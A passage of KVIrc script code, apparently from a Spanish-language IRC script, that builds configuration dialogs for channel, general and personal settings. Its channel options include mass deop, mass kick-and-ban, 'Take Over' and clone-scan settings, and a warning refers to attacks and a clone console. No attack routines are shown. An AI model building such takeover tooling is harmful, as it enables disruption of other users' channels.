%vent->%editcanal = $new(lineedit,%vent,name_lineedit,)
%l->$addMultiCell(%vent->%editcanal,2,2,34,40)
#%vent->%editcanal->$setqtproperty(alignment,AlignRight)
%vent->%editcanal->$show()

#linea h
%linea1 = $new(label,%vent,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,3,3,0,40)
%linea1->$show()

#frame1  Al Obtener Op
%frame1 = $new(label,%vent,vline_label,)
%frame1->$setFrameShape(box)
%frame1->$setFrameShadow(sunken)
%l->$addMultiCell(%frame1,4,10,0,12)		
%frame1->$show()

#frame2 Protecciones
%frame2 = $new(label,%vent,vline_label,)
%frame2->$setFrameShape(box)
%frame2->$setFrameShadow(sunken)
%l->$addMultiCell(%frame2,4,17,13,40)		
%frame2->$show()

#frame3 Cuando alguien ingresa
%frame3 = $new(label,%vent,vline_label,)
%frame3->$setFrameShape(box)
%frame3->$setFrameShadow(sunken)
%l->$addMultiCell(%frame3,11,17,0,12)		
%frame3->$show()

#titulo obtenet op
%e_alop = $new(label,%vent,e_alop,<u><b>Al Obtener OP:)
%l->$addMulticell(%e_alop,4,4,2,7)
%e_alop->$show()

#acciones
%vent->%cb_aciones = $new(combobox,%vent); 
%vent->%cb_aciones->$insertItem("Ninguna Accion"); 
%vent->%cb_aciones->$insertItem("Mass DeOP"); 
%vent->%cb_aciones->$insertItem("Mass Kick OP"); 
%vent->%cb_aciones->$insertItem("Mass Kick"); 
%vent->%cb_aciones->$insertItem("Mass Kick \& Ban OP");
%vent->%cb_aciones->$insertItem("Mass Kick \& Ban"); 
%vent->%cb_aciones->$insertItem("Take Over");
# now after user makes a choice you can obtain it like this:
%l->$addMulticell(%vent->%cb_aciones,5,5,1,11)				
%vent->%cb_aciones->$setqtproperty(currentItem,$config(b,Onopaccion))
%vent->%cb_aciones->$show()
#%vent->%cb_aciones->$listqtproperties()

%label = $new(label,%vent,name_label,Revisar lista de Usu.)
%l->$addMulticell(%label,6,6,4,11)      
%label->$show()
%frame1->$show()

#etiqueta				
%label = $new(label,%vent,name_label,<b>Servidor IRCX:</b>)
%l->$addMulticell(%label,7,7,1,9)
%label->$show()
#acciones
%label = $new(label,%vent,name_label,Acceso al canal)
%l->$addMulticell(%label,8,8,4,10)
%label->$show()

%label = $new(label,%vent,name_label,Actualizar hosts)
%l->$addMulticell(%label,9,9,4,10)
%label->$show()

#etiqueta
%label = $new(label,%vent,name_label,<b><u>Protecciones:)
%l->$addMulticell(%label,4,4,14,19)
%label->$show()

#acciones
%label = $new(label,%vent,name_label,Mass DeOp)
%l->$addMulticell(%label,5,5,16,21)
%label->$show()

%label = $new(label,%vent,name_label,Mass OP)
%l->$addMulticell(%label,6,6,16,21)
%label->$show()

%label = $new(label,%vent,name_label,Mass Kick)
%l->$addMulticell(%label,7,7,16,21)
%label->$show()

%label = $new(label,%vent,name_label,Mass Ban)
%l->$addMulticell(%label,8,8,16,21)
%label->$show()

%label = $new(label,%vent,name_label,Anti-Ban)
%l->$addMulticell(%label,9,9,16,21)				
%label->$show()

%label = $new(label,%vent,name_label,Dar OP a los aliados si le sacan)
%l->$addMulticell(%label,10,10,16,33)
%label->$show()

%label = $new(label,%vent,name_label,Cuando Alguien Obtiene OP\, Quitarselo!)
%l->$addMulticell(%label,11,11,16,35)
%label->$show()

%label = $new(label,%vent,name_label,Proteger Modos)
%l->$addMulticell(%label,12,12,16,30)				
%label->$show()

%label = $new(label,%vent,name_label,Proteger Topic)
%l->$addMulticell(%label,13,13,16,30)
%label->$show()


#cantidad de veces
%vent->%cantdeop = $new(lineedit,%vent,name_lineedit,$config(b,Ondeopvecesc))
%l->$addMultiCell(%vent->%cantdeop,5,5,21,22)
%vent->%cantdeop->$setqtproperty(alignment,AlignRight)
%vent->%cantdeop->$show()

%vent->%cantop = $new(lineedit,%vent,name_lineedit,$config(b,Onopvecesc))
%l->$addMultiCell(%vent->%cantop,6,6,21,22)
%vent->%cantop->$setqtproperty(alignment,AlignRight)
%vent->%cantop->$show()

%vent->%cantk = $new(lineedit,%vent,name_lineedit,$config(b,Onkvecesc))
%l->$addMultiCell(%vent->%cantk,7,7,21,22)
%vent->%cantk->$setqtproperty(alignment,AlignRight)
%vent->%cantk->$show()

%vent->%cantban = $new(lineedit,%vent,name_lineedit,$config(b,Onbanvecesc))
%l->$addMultiCell(%vent->%cantban,8,8,21,22)
%vent->%cantban->$setqtproperty(alignment,AlignRight)
%vent->%cantban->$show()

# en s
%label = $new(label,%vent,name_label,En:)
%l->$addMulticell(%label,5,5,23,24)
%label->$show()
%label = $new(label,%vent,name_label,En:)
%l->$addMulticell(%label,6,6,23,24)
%label->$show()
%label = $new(label,%vent,name_label,En:)
%l->$addMulticell(%label,7,7,23,24)
%label->$show()
%label = $new(label,%vent,name_label,En:)
%l->$addMulticell(%label,8,8,23,24)
%label->$show()
#en un tiempo de
%vent->%timedeop = $new(lineedit,%vent,name_lineedit,$config(b,Ondeoptime))
%l->$addMultiCell(%vent->%timedeop,5,5,25,28)
%vent->%timedeop->$setqtproperty(alignment,AlignRight)
%vent->%timedeop->$show()
%vent->%timeop = $new(lineedit,%vent,name_lineedit,$config(b,Onoptime))
%l->$addMultiCell(%vent->%timeop,6,6,25,28)
%vent->%timeop->$setqtproperty(alignment,AlignRight)
%vent->%timeop->$show()
%vent->%timek = $new(lineedit,%vent,name_lineedit,$config(b,Onktime))
%l->$addMultiCell(%vent->%timek,7,7,25,28)
%vent->%timek->$setqtproperty(alignment,AlignRight)
%vent->%timek->$show()
%vent->%timeban = $new(lineedit,%vent,name_lineedit,$config(b,Onbantime))
%l->$addMultiCell(%vent->%timeban,8,8,25,28)
%vent->%timeban->$setqtproperty(alignment,AlignRight)
%vent->%timeban->$show()

# Mlisegundos
%label = $new(label,%vent,name_label,Mls)
%l->$addMulticell(%label,5,5,29,30)
%label->$show()
%label = $new(label,%vent,name_label,Mls)
%l->$addMulticell(%label,6,6,29,30)
%label->$show()
%label = $new(label,%vent,name_label,Mls)
%l->$addMulticell(%label,7,7,29,30)
%label->$show()
%label = $new(label,%vent,name_label,Mls)
%l->$addMulticell(%label,8,8,29,30)
%label->$show()

# Mlisegundos
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,5,5,31,34)
%label->$show()
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,6,6,31,34)
%label->$show()
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,7,7,31,34)
%label->$show()
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,8,8,31,34)
%label->$show()
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,9,9,31,34)
%label->$show()
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,10,10,31,34)
%label->$show()

%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,12,12,31,34)
%label->$show()
%label = $new(label,%vent,name_label,Castigo:)
%l->$addMulticell(%label,13,13,31,34)
%label->$show()

#opciones de castigo
%vent->%cb_c_massdeop = $new(combobox,%vent)
%vent->%cb_c_massdeop->$insertItem("Deop")
%vent->%cb_c_massdeop->$insertItem("Kick")
%vent->%cb_c_massdeop->$insertItem("K \& B")
%vent->%cb_c_massdeop->$setqtproperty(currentItem,$config(b,c_massdeop))
%l->$addMulticell(%vent->%cb_c_massdeop,5,5,35,39)
%vent->%cb_c_massdeop->$show()

%vent->%cb_c_massop = $new(combobox,%vent)
%vent->%cb_c_massop->$insertItem("Deop")
%vent->%cb_c_massop->$insertItem("Kick")
%vent->%cb_c_massop->$insertItem("K \& B")
%vent->%cb_c_massop->$setqtproperty(currentItem,$config(b,c_massop))
%l->$addMulticell(%vent->%cb_c_massop,6,6,35,39)
%vent->%cb_c_massop->$show()

%vent->%cb_c_masskick = $new(combobox,%vent)
%vent->%cb_c_masskick->$insertItem("Deop")
%vent->%cb_c_masskick->$insertItem("Kick")
%vent->%cb_c_masskick->$insertItem("K \& B")
%vent->%cb_c_masskick->$setqtproperty(currentItem,$config(b,c_masskick))
%l->$addMulticell(%vent->%cb_c_masskick,7,7,35,39)
%vent->%cb_c_masskick->$show()

%vent->%cb_c_massban = $new(combobox,%vent)
%vent->%cb_c_massban->$insertItem("Deop")
%vent->%cb_c_massban->$insertItem("Kick")
%vent->%cb_c_massban->$insertItem("K \& B")
%vent->%cb_c_massban->$setqtproperty(currentItem,$config(b,c_massban))
%l->$addMulticell(%vent->%cb_c_massban,8,8,35,39)
%vent->%cb_c_massban->$show()

%vent->%cb_c_antiban = $new(combobox,%vent)
%vent->%cb_c_antiban->$insertItem("Deop")
%vent->%cb_c_antiban->$insertItem("Kick")
%vent->%cb_c_antiban->$insertItem("K \& B")
%vent->%cb_c_antiban->$setqtproperty(currentItem,$config(b,c_antiban))
%l->$addMulticell(%vent->%cb_c_antiban,9,9,35,39)
%vent->%cb_c_antiban->$show()

%vent->%cb_c_aldeop = $new(combobox,%vent)
%vent->%cb_c_aldeop->$insertItem("Deop")
%vent->%cb_c_aldeop->$insertItem("Kick")
%vent->%cb_c_aldeop->$insertItem("K \& B")
%vent->%cb_c_aldeop->$setqtproperty(currentItem,$config(b,c_aldeop))
%l->$addMulticell(%vent->%cb_c_aldeop,10,10,35,39)
%vent->%cb_c_aldeop->$show()

%vent->%cb_c_pmodos = $new(combobox,%vent)
%vent->%cb_c_pmodos->$insertItem("Deop")
%vent->%cb_c_pmodos->$insertItem("Kick")
%vent->%cb_c_pmodos->$insertItem("K \& B")
%vent->%cb_c_pmodos->$setqtproperty(currentItem,$config(b,c_pmodos))
%l->$addMulticell(%vent->%cb_c_pmodos,12,12,35,39)
%vent->%cb_c_pmodos->$show()

%vent->%cb_c_ptopic = $new(combobox,%vent)
%vent->%cb_c_ptopic->$insertItem("Deop")
%vent->%cb_c_ptopic->$insertItem("Kick")
%vent->%cb_c_ptopic->$insertItem("K \& B")
%vent->%cb_c_ptopic->$setqtproperty(currentItem,$config(b,c_ptopic))
%l->$addMulticell(%vent->%cb_c_ptopic,13,13,35,39)
%vent->%cb_c_ptopic->$show()


#etiqueta
%label = $new(label,%vent,name_label,<b><u>Cuando Alguien Entra:)
%l->$addMulticell(%label,11,11,2,10)
%label->$show()
%label = $new(label,%vent,name_label,Auto ClonScan)
%l->$addMulticell(%label,12,12,4,10)
%label->$show()
%label = $new(label,%vent,name_label,Si es aliado dar OP)
%l->$addMulticell(%label,13,13,4,11)
%label->$show()

#checkbox

# Al obtener OP
%vent->%cb_revlis = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_revlis,6,6,2,2)
%vent->%cb_revlis->$setChecked($config(b,revlis))
%vent->%cb_revlis->$show()

%vent->%cb_accesoalcanal= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_accesoalcanal,8,8,2,2)
%vent->%cb_accesoalcanal->$setChecked($config(b,accesoalcanal))
%vent->%cb_accesoalcanal->$show()

%vent->%cb_msipa = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_msipa,9,9,2,2)
%vent->%cb_msipa->$setChecked($config(b,msipa))
%vent->%cb_msipa->$show()

#protecciones

%vent->%cb_Pantideop = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_Pantideop,5,5,14,14)
%vent->%cb_Pantideop->$setChecked($config(b,Pantideop))
%vent->%cb_Pantideop->$show()

%vent->%cb_Pantiop = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_Pantiop,6,6,14,14)
%vent->%cb_Pantiop->$setChecked($config(b,Pantiop))
%vent->%cb_Pantiop->$show()

%vent->%cb_Pantik = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_Pantik,7,7,14,14)
%vent->%cb_Pantik->$setChecked($config(b,Pantik))
%vent->%cb_Pantik->$show()

%vent->%cb_Pantiban = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_Pantiban,8,8,14,14)
%vent->%cb_Pantiban->$setChecked($config(b,Pantiban))
%vent->%cb_Pantiban->$show()

%vent->%cb_banp = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_banp,9,9,14,14)
%vent->%cb_banp->$setChecked($config(b,banp))
%vent->%cb_banp->$show()

%vent->%cb_aldeop = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_aldeop,10,10,14,14)
%vent->%cb_aldeop->$setChecked($config(b,aldeop))
%vent->%cb_aldeop->$show()

%vent->%cb_pop = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_pop,11,11,14,14)
%vent->%cb_pop->$setChecked($config(b,pop))
%vent->%cb_pop->$show()

%vent->%cb_pmodos = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_pmodos,12,12,14,14)
%vent->%cb_pmodos->$setChecked($config(b,pmodos))
%vent->%cb_pmodos->$show()

%vent->%cb_ptopic = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_ptopic,13,13,14,14)
%vent->%cb_ptopic->$setChecked($config(b,ptopic))
%vent->%cb_ptopic->$show()
#al entrar

%vent->%cb_autoclonscan = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_autoclonscan,12,12,2,2)
%vent->%cb_autoclonscan->$setChecked($config(b,autoclonscan))
%vent->%cb_autoclonscan->$show()

%vent->%cb_alop = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_alop,13,13,2,2)
%vent->%cb_alop->$setChecked($config(b,alop))
%vent->%cb_alop->$show()

#canal actual titulo
%label= $new(label,%vent,name_label,<b>Canal Actual:)
%l->$addMulticell(%label,22,22,0,6)      
%label->$show()
#edit label
%vent->%canalActual = $new(label,%vent,name_label,Por Defecto)
%l->$addMulticell(%vent->%canalActual,22,22,7,20)      
%vent->%canalActual->$setqtproperty(minimumWidth,200)
#%vent->%canalActual->$setqtproperty(autoResize,1)
%vent->%canalActual->$show()

# cancel boton
%b_cancel = $new(button,%vent,b_cancel_button,Cancelar)
%b_cancel->$setMinimumWidth(100)
obj_setevent(%b_cancel,OnClick) {
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_cancel,22,22,24,30)
%b_cancel->$show()

# ok boton
%b_aceptar = $new(button,%vent,ok_button,Aceptar)
%b_aceptar->$setMinimumWidth(100)
obj_setevent(%b_aceptar,OnClick) {
	tempconf g_canales
	tempconf actualizar
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_aceptar,22,22,31,37)
%b_aceptar->$show()



#-------------- configuarar directamente un canal
if ("$1"!="") {
#agrega
	if($strFind(","$1",",$config(b,canales_conf))==-1){
		%Id_conf->%cb_canal->$insertItem($1);
		config b canales_conf "$config(b,canales_conf)$1,"
		%actual=%Id_conf->%canalactual->$text()
		%Id_conf->%canalactual->$setText($1)
		tempconf g_canales
		%Id_conf->%canalactual->$settext(%actual)
#		%Id_conf->%editcanal->$settext()
#		echo no existia!
		}
#	else echo existe ya!

#cambia a ese canal
#	tempconf g_canales
	%Id_conf->%canalactual->$setText($1)
	tempconf lee_canal
#echo canal $1
}
[ENDALIAS]
[ALIAS conf_general bytes 6576]
#widget
%vent=%Id_conf
%vent->$setCaption(Configuracion del Script \(General\))
%vent->$setMinimumWidth(1)
%vent->$setMinimumHeight(200)
%vent->$setGeometry(%vent->$x(),%vent->$y(),1,180)

obj_setevent(%vent, OnClose){ 
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	%Id_conf=
 	} 

#layout
%l = $new(layout,%vent,layout_l)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

# b1
%b_general = $new(button,%vent,b_general,General)
%b_general->$setMinimumWidth(150)
obj_setevent(%b_general,OnClick) {
	}
%l->$addMultiCell(%b_general,0,0,1,10)
%b_general->$show()
%b_general->$setenabled(0)

# b2
%b_sonido = $new(button,%vent,b_sonido,Sonido)
%b_sonido->$setMinimumWidth(150)
obj_setevent(%b_sonido,OnClick) {
	tempconf g_general
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_sonido
		}
	}
%l->$addMultiCell(%b_sonido,0,0,11,20)
%b_sonido->$show()

# b3
%b_canales = $new(button,%vent,b_canales,Canales)
%b_canales->$setMinimumWidth(150)
obj_setevent(%b_canales,OnClick) {
	tempconf g_general
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_canales
		}
	}
%l->$addMultiCell(%b_canales,0,0,21,30)
%b_canales->$show()

# b4
%b_personal = $new(button,%vent,b_personal,Personal)
%b_personal->$setMinimumWidth(150)
obj_setevent(%b_personal,OnClick) {
	tempconf g_general
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_personal
		}
	}
%l->$addMultiCell(%b_personal,0,0,31,40)
%b_personal->$show()


#linea h
%linea1 = $new(label,%vent,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,1,1,0,40)
%linea1->$show()

# Velocidad Ascii
%e_vela = $new(label,%vent,e_vel_ascii,Velocidad Ascii \(Mseg\))
%l->$addMultiCell(%e_vela,2,2,0,10)
%e_vela->$show()
# edit
%vent->%le_vela=$new(lineedit,%vent,le_vela,$config(b,speed))
%l->$addMultiCell(%vent->%le_vela,2,2,11,14)
%vent->%le_vela->$setqtproperty(alignment,AlignRight)
%vent->%le_vela->$show()

# Medir Lag Cada
%e = $new(label,%vent,e_mlag,Medir Lag Cada \(Mseg\))
%l->$addMultiCell(%e,3,3,0,10)
%e->$show()
# edit
%vent->%le_mlag=$new(lineedit,%vent,le_mlag,$config(b,mlag))
%l->$addMultiCell(%vent->%le_mlag,3,3,11,14)
%vent->%le_mlag->$setqtproperty(alignment,AlignRight)
%vent->%le_mlag->$show()

# N max de querys
%e = $new(label,%vent,e_query,Nro Maximo de Privados)
%l->$addMultiCell(%e,4,4,0,10)
%e->$show()
# edit
%vent->%le_mquery=$new(lineedit,%vent,le_mquery,$config(b,mquery))
%l->$addMultiCell(%vent->%le_mquery,4,4,11,14)
%vent->%le_mquery->$setqtproperty(alignment,AlignRight)
%vent->%le_mquery->$show()


# nickcolor
%e = $new(label,%vent,e_nickcolor,Nicks con Colores en los Canales)
%l->$addMultiCell(%e,5,5,0,13)
%e->$show()

%vent->%cb_nickcolor = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_nickcolor,5,5,14,14)
%vent->%cb_nickcolor->$setChecked($config(b,nickcolor))
%vent->%cb_nickcolor->$show()


# away
%e = $new(label,%vent,e_Away,<b><u>Sistema Away)
%l->$addMultiCell(%e,2,2,16,30)
%e->$show()

# Auto Away
%e = $new(label,%vent,e_Away,AUTO Away)
%l->$addMultiCell(%e,3,3,16,20)
%e->$show()

%vent->%cb_autoaway = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_autoaway,3,3,21,21)
%vent->%cb_autoaway->$setChecked($config(b,autoaway))
%vent->%cb_autoaway->$show()

# Label Activar
%e = $new(label,%vent,e_Away,Activar a los)
%l->$addMultiCell(%e,3,3,23,28)
%e->$show()

#away segundos
%vent->%le_awayseg=$new(lineedit,%vent,le_awayseg,$config(b,awayseg))
%l->$addMultiCell(%vent->%le_awayseg,3,3,28,30)
%vent->%le_awayseg->$setqtproperty(alignment,AlignRight)
%vent->%le_awayseg->$show()

# label seg
%e = $new(label,%vent,e_Away,Seg. de Inactividad)
%l->$addMultiCell(%e,3,3,31,39)
%e->$show()

# label
%e = $new(label,%vent,e_Away,Mensaje)
%l->$addMultiCell(%e,4,4,16,20)
%e->$show()

#Mensaje away
%vent->%le_awaymsg=$new(lineedit,%vent,le_awaymsg,$config(b,awaymsg))
%l->$addMultiCell(%vent->%le_awaymsg,4,4,21,39)
%vent->%le_awaymsg->$show()

# Cambiar nick checkbox
%vent->%cb_awaynickchange = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_awaynickchange,5,5,16,17)
%vent->%cb_awaynickchange->$setChecked($config(b,awaynickchange))
%vent->%cb_awaynickchange->$show()

# Cambiar nick
%e = $new(label,%vent,e_Away,Cambiar el Nick por)
%l->$addMultiCell(%e,5,5,18,25)
%e->$show()

#away nick
%vent->%le_awaynick=$new(lineedit,%vent,le_awaynick,$config(b,awaynick))
%l->$addMultiCell(%vent->%le_awaynick,5,5,26,36)
%vent->%le_awaynick->$show()

# Adorna nicks
%e = $new(label,%vent,e_Adorna,Adornar nicks salientes)
%l->$addMultiCell(%e,6,6,0,1)
%e->$show()

# Adorna nicks checkbox
%vent->%cb_adornanicks = $new(checkbox, %vent,)
%l->$addMulticell(%vent->%cb_adornanicks,6,6,14,15)
%vent->%cb_adornanicks->$setChecked($config(b,adornanicks))
%vent->%cb_adornanicks->$show()

# Adorna nicks combo
%vent->%tipo_adorno = $new(combobox, %vent);
%vent->%tipo_adorno->$insertitem("[corchetes]");
%vent->%tipo_adorno->$insertitem("->flechas<-"); 
%vent->%tipo_adorno->$insertitem("<({[ espectacular ]})>");
%l->$addMultiCell(%vent->%tipo_adorno,6,6,26,36)
%vent->%tipo_adorno->$setqtproperty(currentItem, $config(b, tipoAdorno))
%vent->%tipo_adorno->$show()

# por defecto boton
%b_pordefecto = $new(button,%vent,b_pordefecto_button,Valores Originales)
%b_pordefecto->$setMinimumWidth(100)
obj_setevent(%b_pordefecto,OnClick) {

dialog(2buttons,"Advertencia","Se Procedera a Borrar la Configuracion Actual"$CR$LF"y se cargaran los valores por defecto"$CR$LF"para todos los dialogos \(ataques, consola de clones\, etc...\)",Warning,"Cancelar","Aceptar") if ("$dialogresult"!="" && "$dialogresult"=="2" ) {
	tempconf pordefecto
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		tempconf crear
		conf_general
		}
	}
}
%l->$addMultiCell(%b_pordefecto,16,16,1,9)
%b_pordefecto->$show()

# cancel boton
%b_cancel = $new(button,%vent,b_cancel_button,Cancelar)
%b_cancel->$setMinimumWidth(100)
obj_setevent(%b_cancel,OnClick) {
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_cancel,16,16,24,30)
%b_cancel->$show()

# ok boton
%b_aceptar = $new(button,%vent,ok_button,Aceptar)
%b_aceptar->$setMinimumWidth(100)
obj_setevent(%b_aceptar,OnClick) {
	tempconf g_general
	tempconf actualizar
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_aceptar,16,16,31,37)
%b_aceptar->$show()






[ENDALIAS]
[ALIAS conf_personal bytes 6815]
#widget
%vent=%Id_conf
%vent->$setCaption(Configuracion del Script \(Personal\))
%vent->$setMinimumWidth(1)
%vent->$setMinimumHeight(260)
%vent->$setGeometry(%vent->$x(),%vent->$y(),1,260)

obj_setevent(%vent, OnClose){ 
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	%Id_conf=
 	} 
%vent->$show()

#layout
%l = $new(layout,%vent,layout_l)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

# b1
%b_general = $new(button,%vent,b_general,General)
%b_general->$setMinimumWidth(150)
obj_setevent(%b_general,OnClick) {
	tempconf g_personal
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_general
		}
	}
%l->$addMultiCell(%b_general,0,0,1,10)
%b_general->$show()

# b2
%b_sonido = $new(button,%vent,b_sonido,Sonido)
%b_sonido->$setMinimumWidth(150)
obj_setevent(%b_sonido,OnClick) {
	tempconf g_personal
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_sonido
		}
	}
%l->$addMultiCell(%b_sonido,0,0,11,20)
%b_sonido->$show()

# b3
%b_canales = $new(button,%vent,b_canales,Canales)
%b_canales->$setMinimumWidth(150)
obj_setevent(%b_canales,OnClick) {
	tempconf g_personal
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_canales
		}
	}
%l->$addMultiCell(%b_canales,0,0,21,30)
%b_canales->$show()

# b4
%b_personal = $new(button,%vent,b_personal,Personal)
%b_personal->$setMinimumWidth(150)
obj_setevent(%b_personal,OnClick) {
	}
%l->$addMultiCell(%b_personal,0,0,31,40)
%b_personal->$show()
%b_personal->$setenabled(0)

#linea h
%linea1 = $new(label,%vent,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,1,1,0,40)
%linea1->$show()

# web
%e_pw = $new(label,%vent,e_pw,Pagina Web)
%l->$addMultiCell(%e_pw,3,3,0,10)
%e_pw->$show()

# edit
%vent->%le_paginaweb = $new(lineedit,%vent,le_pagina_web,$config(b,paginaweb))
%l->$addMultiCell(%vent->%le_paginaweb,3,3,11,35)
%vent->%le_paginaweb->$show()

# mail
%e_email = $new(label,%vent,e_email,E-Mail)
%l->$addMultiCell(%e_email,4,4,0,10)
%e_email->$show()
# edit 
%vent->%le_ce = $new(lineedit,%vent,c_electronico,$config(b,correoelectronico))
%l->$addMultiCell(%vent->%le_ce,4,4,11,35)
%vent->%le_ce->$show()

# Nick del Usuario X
%e_ux = $new(label,%vent,e_usuariox,Nick del UsuarioX)
%l->$addMultiCell(%e_ux,5,5,0,10)
%e_ux->$show()
# edit 
%vent->%le_ux = $new(lineedit,%vent,le_nick_usuario_x,$config(b,usuariox))
%l->$addMultiCell(%vent->%le_ux,5,5,11,16)
%vent->%le_ux->$show()

# autoentrar
%e = $new(label,%vent,e_autoentrar,Al Presionar F12 Entrar en \(Ej: #amigos\,#linux...\))
%l->$addMultiCell(%e,6,6,0,18)
%e->$show()
# edit 
%vent->%le_autoentrar = $new(lineedit,%vent,le_autoentrar,$config(b,autoentrar))
%l->$addMultiCell(%vent->%le_autoentrar,6,6,19,40)
%vent->%le_autoentrar->$show()

#formato canal
#e
%e = $new(label,%vent,e_formatocanalactivo,Texto con Formato en Canales)
%l->$addMultiCell(%e,7,7,4,15)
%e->$show()
#check box
%vent->%cb_formatocanalactivo= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_formatocanalactivo,7,7,2,2)
%vent->%cb_formatocanalactivo->$setChecked($config(b,formatoCanalActivo))
%vent->%cb_formatocanalactivo->$show()

#formato canal negrita
#e
%e = $new(label,%vent,e_formatocanalnegrita,<b>Negrita</b>)
%l->$addMultiCell(%e,7,7,18,21)
%e->$show()
#check box
%vent->%cb_formatocanalnegrita= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_formatocanalnegrita,7,7,21,21)
%vent->%cb_formatocanalnegrita->$setChecked($config(b,formatocanalnegrita))
%vent->%cb_formatocanalnegrita->$show()

#formato canal subrayado
#e
%e = $new(label,%vent,e_formatocanalsubrayado,<u> Subrayado </u>)
%l->$addMultiCell(%e,7,7,23,27)
%e->$show()
#check box
%vent->%cb_formatocanalsubrayado= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_formatocanalsubrayado,7,7,28,28)
%vent->%cb_formatocanalsubrayado->$setChecked($config(b,formatocanalsubrayado))
%vent->%cb_formatocanalsubrayado->$show()

# etiqueta color
%e = $new(label,%vent,e_formatocanalColor,Color:)
%l->$addMultiCell(%e,7,7,30,32)
%e->$show()
# edit
%vent->%le_formatocanalColor = $new(lineedit,%vent,le_formatocanalColor,$config(b,formatocanalColor))
%l->$addMultiCell(%vent->%le_formatocanalColor,7,7,33,35)
%vent->%le_formatocanalColor->$show()
# fondo
%vent->%le_formatocanalfondo = $new(lineedit,%vent,le_formatocanalfondo,$config(b,formatocanalfondo))
%l->$addMultiCell(%vent->%le_formatocanalfondo,7,7,36,38)
%vent->%le_formatocanalfondo->$show()


#formato query
#e
%e = $new(label,%vent,e_formatoqueryactivo,Texto con Formato en Privados)
%l->$addMultiCell(%e,8,8,4,15)
%e->$show()
#check box
%vent->%cb_formatoqueryactivo= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_formatoqueryactivo,8,8,2,2)
%vent->%cb_formatoqueryactivo->$setChecked($config(b,formatoqueryActivo))
%vent->%cb_formatoqueryactivo->$show()

#formato query negrita
#e
%e = $new(label,%vent,e_formatoquerynegrita,<b>Negrita</b>)
%l->$addMultiCell(%e,8,8,18,21)
%e->$show()
#check box
%vent->%cb_formatoquerynegrita= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_formatoquerynegrita,8,8,21,21)
%vent->%cb_formatoquerynegrita->$setChecked($config(b,formatoquerynegrita))
%vent->%cb_formatoquerynegrita->$show()

#formato query subrayado
#e
%e = $new(label,%vent,e_formatoquerysubrayado,<u> Subrayado </u>)
%l->$addMultiCell(%e,8,8,23,27)
%e->$show()
#check box
%vent->%cb_formatoquerysubrayado= $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_formatoquerysubrayado,8,8,28,28)
%vent->%cb_formatoquerysubrayado->$setChecked($config(b,formatoquerysubrayado))
%vent->%cb_formatoquerysubrayado->$show()

# etiqueta color
%e = $new(label,%vent,e_formatoqueryColor,Color:)
%l->$addMultiCell(%e,8,8,30,32)
%e->$show()
# edit 
%vent->%le_formatoqueryColor = $new(lineedit,%vent,le_formatoqueryColor,$config(b,formatoqueryColor))
%l->$addMultiCell(%vent->%le_formatoqueryColor,8,8,33,35)
